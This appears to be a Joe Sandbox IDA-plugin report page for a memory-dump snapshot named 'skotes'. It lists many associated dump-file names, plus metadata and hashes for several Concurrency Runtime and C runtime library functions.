Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e045fbdee94b4c6cd8cbd77f353714f65aa6d9733008f5ea614d9ebef8e56ea7
Instruction ID: 55d04401caa566165cc77cd9b94ae6f2c863624ee5a44687cb2a496b0b5a9c78
Opcode Fuzzy Hash: e045fbdee94b4c6cd8cbd77f353714f65aa6d9733008f5ea614d9ebef8e56ea7
Instruction Fuzzy Hash: C521DB756407059BCF1AEF54C852BEDB7B5BF88310F10805DE605AF282DBB4AE15CB91

Function 00384EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00384F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00384F66

Strings

count, xrefs: 00384EBA
ppVirtualProcessorRoots, xrefs: 00384F1C

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 1aa6a770099c5ad2ebb6f40ac38157d053fbcdbb72c140938bfc054e75a3638e
Instruction ID: 78bee4840af7708295a838e5e2292a6387301222ed06bf91f9ef73e2ef70fef3
Opcode Fuzzy Hash: 1aa6a770099c5ad2ebb6f40ac38157d053fbcdbb72c140938bfc054e75a3638e
Instruction Fuzzy Hash: C921B335600216EFCB16EF68C891EAE77B5BF48314F0040ADF6069BA91DB71AE01CB51

Function 0038B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0038BA0E

Strings

RoUninitialize, xrefs: 0038B9C1
combase.dll, xrefs: 0038B983, 0038B988, 0038B99D, 0038B9C8
RoInitialize, xrefs: 0038B998

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 9f300f8446c0f8994bc698c394ddf5035f521bb8e74f10b1fcf82f641e59b2ad
Instruction ID: f3534fcab71523491871423d01922db710556bc5ba0882772bd84bc187640d56
Opcode Fuzzy Hash: 9f300f8446c0f8994bc698c394ddf5035f521bb8e74f10b1fcf82f641e59b2ad
Instruction Fuzzy Hash: 4E0128705827229EEB17B7B69C11FFB75DD9F02708F211469E640E6591EF28F80097A1

Function 00386E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00386E73

Part of subcall function 00384E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00384E7F
Part of subcall function 00384E6E: List.LIBCMT ref: 00384E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00386E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00386EAA

Strings

eventObject, xrefs: 00386E7D

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 62e1dd060920e4eb704f471599016927a2185ba58b7861863fdfff02922d0f6d
Instruction ID: dbb6491dd001093a5153cf840a06933825e9fe2c766866d2f5c42642d77ff966
Opcode Fuzzy Hash: 62e1dd060920e4eb704f471599016927a2185ba58b7861863fdfff02922d0f6d
Instruction Fuzzy Hash: 4111C275540314A6EB26FBA8CE87FEE72685F00714F2045A5FA05AA0C1DB74BA04C771

Function 0038A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0038A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0038A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0038A139

Strings

pScheduler, xrefs: 0038A131

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 1b9c2a2fb71e28136afaf052f12d05c84bb69b680cf1a46e28b65e3811d8c742
Instruction ID: 71bfd51bb7a54db68c7ab12020290ce826b4d70b4e32cd43e4f7e9a947fa0aee
Opcode Fuzzy Hash: 1b9c2a2fb71e28136afaf052f12d05c84bb69b680cf1a46e28b65e3811d8c742
Instruction Fuzzy Hash: 42F0E236A00B04A7C727FA54DC96CDEF3799E80B14B6081AEE5065B581DF70EE06CBD2

Function 0039504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00395115
___AdjustPointer.LIBCMT ref: 00395138
___AdjustPointer.LIBCMT ref: 003951D4

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
